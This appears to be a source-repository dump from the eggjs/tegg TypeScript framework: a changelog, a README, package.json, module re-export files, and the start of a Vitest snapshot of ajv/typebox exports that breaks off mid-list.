[3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n\n### Features\n\n* implement RuntimeConfig ([#144](https://github.com/eggjs/tegg/issues/144)) ([0862655](https://github.com/eggjs/tegg/commit/0862655846f6765349d406ee697c036cec2a37bd))\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n\n### Features\n\n* export transaction decorator from tegg ([8be0521](https://github.com/eggjs/tegg/commit/8be05212b62fe7f111688efaec935be64d623918))\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# [1.4.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg@1.3.5...@eggjs/tegg@1.4.0) (2022-09-04)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n## [1.3.5](https://github.com/eggjs/tegg/compare/@eggjs/tegg@1.3.4...@eggjs/tegg@1.3.5) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [1.3.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg@1.3.3...@eggjs/tegg@1.3.4) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg@1.3.2...@eggjs/tegg@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg@1.3.1...@eggjs/tegg@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Bug Fixes\n\n* invalid value of main ([#27](https://github.com/eggjs/tegg/issues/27)) ([47f22d6](https://github.com/eggjs/tegg/commit/47f22d60f7ab01cf3c0e68bd078cdd0bb75169d5))\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/core/tegg/README.md",
    "content": "# `@eggjs/tegg`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg\n\n## Install\n\n```sh\nnpm i @eggjs/tegg @eggjs/tegg-plugin\n```\n\n## Usage\n\nCheck out our documentation [here](../../README.md).\n"
  },
  {
    "path": "tegg/core/tegg/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg decorator packages\",\n  \"keywords\": [\n    \"egg\",\n    \"metadata\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/tegg\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/tegg\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./ajv\": \"./src/ajv.ts\",\n    \"./aop\": \"./src/aop.ts\",\n    \"./dal\": \"./src/dal.ts\",\n    \"./helper\": \"./src/helper.ts\",\n    \"./orm\": \"./src/orm.ts\",\n    \"./schedule\": \"./src/schedule.ts\",\n    \"./standalone\": \"./src/standalone.ts\",\n    \"./transaction\": \"./src/transaction.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./ajv\": \"./dist/ajv.js\",\n      \"./aop\": \"./dist/aop.js\",\n      \"./dal\": \"./dist/dal.js\",\n      \"./helper\": \"./dist/helper.js\",\n      \"./orm\": \"./dist/orm.js\",\n      \"./schedule\": \"./dist/schedule.js\",\n      \"./standalone\": \"./dist/standalone.js\",\n      \"./transaction\": \"./dist/transaction.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/agent-runtime\": \"workspace:*\",\n    \"@eggjs/ajv-decorator\": \"workspace:*\",\n    \"@eggjs/aop-decorator\": \"workspace:*\",\n    \"@eggjs/background-task\": \"workspace:*\",\n    \"@eggjs/controller-decorator\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dal-decorator\": \"workspace:*\",\n    \"@eggjs/dal-plugin\": \"workspace:*\",\n    \"@eggjs/dynamic-inject\": \"workspace:*\",\n    \"@eggjs/eventbus-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/orm-decorator\": \"workspace:*\",\n    \"@eggjs/schedule-decorator\": \"workspace:*\",\n    \"@eggjs/standalone-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@eggjs/transaction-decorator\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/tegg/src/agent.ts",
    "content": "// AgentController decorator from controller-decorator\nexport { AgentController } from '@eggjs/controller-decorator';\nexport type { AgentHandler } from '@eggjs/controller-decorator';\n\n// Implementation classes from agent-runtime\nexport { AgentNotFoundError, AgentConflictError, HttpSSEWriter } from '@eggjs/agent-runtime';\n\n// Types (re-exported from agent-runtime, which re-exports @eggjs/tegg-types)\nexport type {\n  AgentStore,\n  ThreadRecord,\n  RunRecord,\n  CreateRunInput,\n  AgentStreamMessage,\n  RunObject,\n  ThreadObject,\n  ThreadObjectWithMessages,\n  MessageObject,\n  InputMessage,\n  InputContentPart,\n  MessageContentBlock,\n  TextContentBlock,\n  MessageDeltaObject,\n  AgentRunConfig,\n  AgentRunUsage,\n  RunStatus,\n} from '@eggjs/agent-runtime';\n"
  },
  {
    "path": "tegg/core/tegg/src/ajv.ts",
    "content": "export * from '@eggjs/ajv-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/src/aop.ts",
    "content": "export * from '@eggjs/aop-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/src/dal.ts",
    "content": "export * from '@eggjs/dal-decorator';\nexport * from '@eggjs/dal-plugin';\n"
  },
  {
    "path": "tegg/core/tegg/src/helper.ts",
    "content": "export * from '@eggjs/tegg-runtime';\nexport * from '@eggjs/tegg-loader';\nexport * from '@eggjs/metadata';\nexport * from '@eggjs/tegg-common-util';\n"
  },
  {
    "path": "tegg/core/tegg/src/index.ts",
    "content": "export * from '@eggjs/core-decorator';\nexport * from '@eggjs/lifecycle';\nexport * from '@eggjs/controller-decorator';\nexport * from '@eggjs/eventbus-decorator';\nexport * from '@eggjs/dynamic-inject';\nexport * from '@eggjs/background-task';\nexport * as aop from '@eggjs/aop-decorator';\nexport * as orm from '@eggjs/orm-decorator';\nexport * as schedule from '@eggjs/schedule-decorator';\nexport { ModuleConfigs, type ModuleConfig } from '@eggjs/tegg-common-util';\nexport type { RuntimeConfig, ModuleConfigHolder } from '@eggjs/tegg-common-util';\nexport type { Logger } from '@eggjs/tegg-types';\n"
  },
  {
    "path": "tegg/core/tegg/src/orm.ts",
    "content": "export * from '@eggjs/orm-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/src/schedule.ts",
    "content": "export * from '@eggjs/schedule-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/src/standalone.ts",
    "content": "export * from '@eggjs/standalone-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/src/transaction.ts",
    "content": "export * from '@eggjs/transaction-decorator';\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/ajv.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should ajv exports stable 1`] = `\n{\n  \"AjvInvalidParamError\": [Function],\n  \"Any\": [Function],\n  \"Array\": [Function],\n  \"ArrayOptions\": [Function],\n  \"AsyncIterator\": [Function],\n  \"AsyncIteratorOptions\": [Function],\n  \"Awaited\": [Function],\n  \"AwaitedDeferred\": [Function],\n  \"AwaitedInstantiate\": [Function],\n  \"Base\": [Function],\n  \"BigInt\": [Function],\n  \"BigIntPattern\": \"-?(?:0|[1-9][0-9]*)n\",\n  \"Boolean\": [Function],\n  \"Broaden\": [Function],\n  \"Call\": [Function],\n  \"CallConstruct\": [Function],\n  \"Capitalize\": [Function],\n  \"CapitalizeDeferred\": [Function],\n  \"CapitalizeInstantiate\": [Function],\n  \"Codec\": [Function],\n  \"CollapseToObject\": [Function],\n  \"Compare\": [Function],\n  \"Composite\": [Function],\n  \"Conditional\": [Function],\n  \"ConditionalDeferred\": [Function],\n  \"ConditionalInstantiate\": [Function],\n  \"Constructor\": [Function],\n  \"ConstructorOptions\": [Function],\n  \"ConstructorParameters\": [Function],\n  \"ConstructorParametersDeferred\": [Function],\n  \"ConstructorParametersInstantiate\": [Function],\n  \"ConvertToIntegerKey\": [Function],\n  \"Cyclic\": [Function],\n  \"CyclicCandidates\": [Function],\n  \"CyclicCheck\": [Function],\n  \"CyclicDependencies\": [Function],\n  \"CyclicExtends\": [Function],\n  \"CyclicOptions\": [Function],\n  \"CyclicTarget\": [Function],\n  \"Decode\": [Function],\n  \"DecodeBuilder\": [Function],\n  \"Deferred\": [Function],\n  \"Distribute\": [Function],\n  \"Encode\": [Function],\n  \"EncodeBuilder\": [Function],\n  \"Enum\": [Function],\n  \"EnumToUnion\": [Function],\n  \"EnumValuesToUnion\": [Function],\n  \"EnumValuesToVariants\": [Function],\n  \"Evaluate\": [Function],\n  \"EvaluateDeferred\": [Function],\n  \"EvaluateInstantiate\": [Function],\n  \"EvaluateIntersect\": [Function],\n  \"EvaluateType\": [Function],\n  \"EvaluateUnion\": [Function],\n  \"Exclude\": [Function],\n  \"ExcludeDeferred\": [Function],\n  \"ExcludeInstantiate\": [Function],\n  \"Extends\": [Function],\n  \"ExtendsResult\": {\n    \"ExtendsFalse\": [Function],\n    \"ExtendsTrue\": [Function],\n    \"ExtendsUnion\": [Function],\n    \"IsExtendsFalse\": [Function],\n    \"IsExtendsTrue\": [Function],\n    \"IsExtendsTrueLike\": [Function],\n    \"IsExtendsUnion\": [Function],\n  },\n  \"Extract\": [Function],\n  \"ExtractDeferred\": [Function],\n  \"ExtractInstantiate\": [Function],\n  \"Flatten\": [Function],\n  \"Function\": [Function],\n  \"FunctionOptions\": [Function],\n  \"Generic\": [Function],\n  \"Identifier\": [Function],\n  \"Immutable\": [Function],\n  \"ImmutableAdd\": [Function],\n  \"ImmutableRemove\": [Function],\n  \"Index\": [Function],\n  \"IndexDeferred\": [Function],\n  \"IndexInstantiate\": [Function],\n  \"Infer\": [Function],\n  \"InstanceType\": [Function],\n  \"InstanceTypeDeferred\": [Function],\n  \"InstanceTypeImmediate\": [Function],\n  \"InstanceTypeInstantiate\": [Function],\n  \"Instantiate\": [Function],\n  \"InstantiateCyclic\": [Function],\n  \"Integer\": [Function],\n  \"IntegerKey\": \"^-?(?:0|[1-9][0-9]*)$\",\n  \"IntegerPattern\": \"-?(?:0|[1-9][0-9]*)\",\n  \"Interface\": [Function],\n  \"InterfaceDeferred\": [Function],\n  \"InterfaceInstantiate\": [Function],\n  \"Intersect\": [Function],\n  \"IntersectOptions\": [Function],\n  \"InvalidLiteralValue\": [Function],\n  \"IsAny\": [Function],\n  \"IsArray\": [Function],\n  \"IsAsyncIterator\": [Function],\n  \"IsBase\": [Function],\n  \"IsBigInt\": [Function],\n  \"IsBoolean\": [Function],\n  \"IsCall\": [Function],\n  \"IsCodec\": [Function],\n  \"IsConstructor\": [Function],\n  \"IsCyclic\": [Function],\n  \"IsDeferred\": [Function],\n  \"IsEnum\": [Function],\n  \"IsFunction\": [Function],\n  \"IsGeneric\": [Function],\n  \"IsIdentifier\": [Function],\n  \"IsImmutable\": [Function],\n  \"IsInfer\": [Function],\n  \"IsInteger\": [Function],\n  \"IsInterfaceDeferred\": [Function],\n  \"IsIntersect\": [Function],\n  \"IsIterator\": [Function],\n  \"IsKind\": [Function],\n  \"IsLiteral\": [Function],\n  \"IsLiteralBigInt\": [Function],\n  \"IsLiteralBoolean\": [Function],\n  \"IsLiteralNumber\": [Function],\n  \"IsLiteralString\": [Function],\n  \"IsLiteralValue\": [Function],\n  \"IsNever\": [Function],\n  \"IsNull\": [Function],\n  \"IsNumber\": [Function],\n  \"IsObject\": [Function],\n  \"IsOptional\": [Function],\n  \"IsOptionalAddAction\": [Function],\n  \"IsOptionalRemoveAction\": [Function],\n  \"IsParameter\": [Function],\n  \"IsPromise\": [Function],\n  \"IsReadonly\": [Function],\n  \"IsReadonlyAddAction\": [Function],\n  \"IsReadonlyRemoveAction\": [Function],\n  \"IsRecord\": [Function],\n  \"IsRef\": [Function],\n  \"IsRefine\": [Function],\n  \"IsRest\": [Function],\n  \"IsSchema\": [Function],\n  \"IsString\": [Function],\n  \"IsSymbol\": [Function],\n  \"IsTemplateLiteral\": [Function],\n  \"IsThis\": [Function],\n  \"IsTuple\": [Function],\n  \"IsTypeScriptEnumLike\": [Function],\n  \"IsUndefined\": [Function],\n  \"IsUnion\": [Function],\n  \"IsUnknown\": [Function],\n  \"IsUnsafe\": [Function],\n  \"IsVoid\": [Function],\n  \"Iterator\": [Function],\n  \"IteratorOptions\": [Function],\n  \"KeyOf\": [Function],\n  \"KeyOfAction\": [Function],\n  \"KeyOfDeferred\": [Function],\n  \"KeyOfImmediate\": [Function],\n  \"KeyOfInstantiate\": [Function],\n  \"KeysToIndexer\": [Function],\n  \"Literal\": [Function],\n  \"LiteralTypeName\": [Function],\n  \"Lowercase\": [Function],\n  \"LowercaseDeferred\": [Function],\n  \"LowercaseInstantiate\": [Function],\n  \"Mapped\": [Function],\n  \"MappedDeferred\": [Function],\n  \"MappedInstantiate\": [Function],\n  \"Module\": [Function],\n  \"ModuleDeferred\": [Function],\n  \"ModuleInstantiate\": [Function],\n  \"Narrow\": [Function],\n  \"Never\": [Function],\n  \"NeverPattern\": \"(?!)\",\n  \"NonNullable\": [Function],\n  \"NonNullableDeferred\": [Function],\n  \"NonNullableInstantiate\": [Function],\n  \"Null\": [Function],\n  \"Number\": [Function],\n  \"NumberKey\": \"^-?(?:0|[1-9][0-9]*)(?:.[0-9]+)?$\",\n  \"NumberPattern\": \"-?(?:0|[1-9][0-9]*)(?:.[0-9]+)?\",\n  \"Object\": [Function],\n  \"ObjectOptions\": [Function],\n  \"Omit\": [Function],\n  \"OmitDeferred\": [Function],\n  \"OmitInstantiate\": [Function],\n  \"Optional\": [Function],\n  \"OptionalAdd\": [Function],\n  \"OptionalAddAction\": [Function],\n  \"OptionalRemove\": [Function],\n  \"OptionalRemoveAction\": [Function],\n  \"Options\": [Function],\n  \"OptionsDeferred\": [Function],\n  \"OptionsInstantiate\": [Function],\n  \"Parameter\": [Function],\n  \"Parameters\": [Function],\n  \"ParametersDeferred\": [Function],\n  \"ParametersInstantiate\": [Function],\n  \"ParsePatternIntoTypes\": [Function],\n  \"ParseTemplateIntoTypes\": [Function],\n  \"Partial\": [Function],\n  \"PartialDeferred\": [Function],\n  \"PartialInstantiate\": [Function],\n  \"Pick\": [Function],\n  \"PickDeferred\": [Function],\n  \"PickInstantiate\": [Function],\n  \"Promise\": [Function],\n  \"PromiseOptions\": [Function],\n  \"PropertyKeys\": [Function],\n  \"PropertyValues\": [Function],\n  \"Readonly\": [Function],\n  \"ReadonlyAdd\": [Function],\n  \"ReadonlyAddAction\": [Function],\n  \"ReadonlyRemove\": [Function],\n  \"ReadonlyRemoveAction\": [Function],\n  \"ReadonlyType\": [Function],\n  \"ReadonlyTypeDeferred\": [Function],\n  \"ReadonlyTypeInstantiate\": [Function],\n  \"Record\": 